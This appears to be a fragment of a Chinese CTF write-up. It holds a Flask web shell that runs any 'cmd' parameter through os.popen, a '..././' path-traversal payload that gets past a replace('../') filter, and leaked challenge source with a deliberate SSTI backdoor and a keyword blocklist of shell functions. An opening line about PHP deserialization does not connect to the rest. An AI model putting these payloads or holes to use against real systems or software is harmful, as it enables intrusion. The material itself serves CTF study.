通过构造一个缺失闭合符的序列化字符串，可以强制PHP提前终止反序列化流程，但已解析的Start对象仍会被创建，并在脚本结束时触发析构函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():    
    try:        
        cmd = request.args.get('cmd')        
        data = os.popen(cmd).read()        
        return data    
    except:        
        pass    
        
    return "1"
if __name__=='__main__':    
    app.run(host='0.0.0.0',port=5000,debug=True)

1

file=..././..././..././app/app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门，你一定是网络安全大赛冠军吧！😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)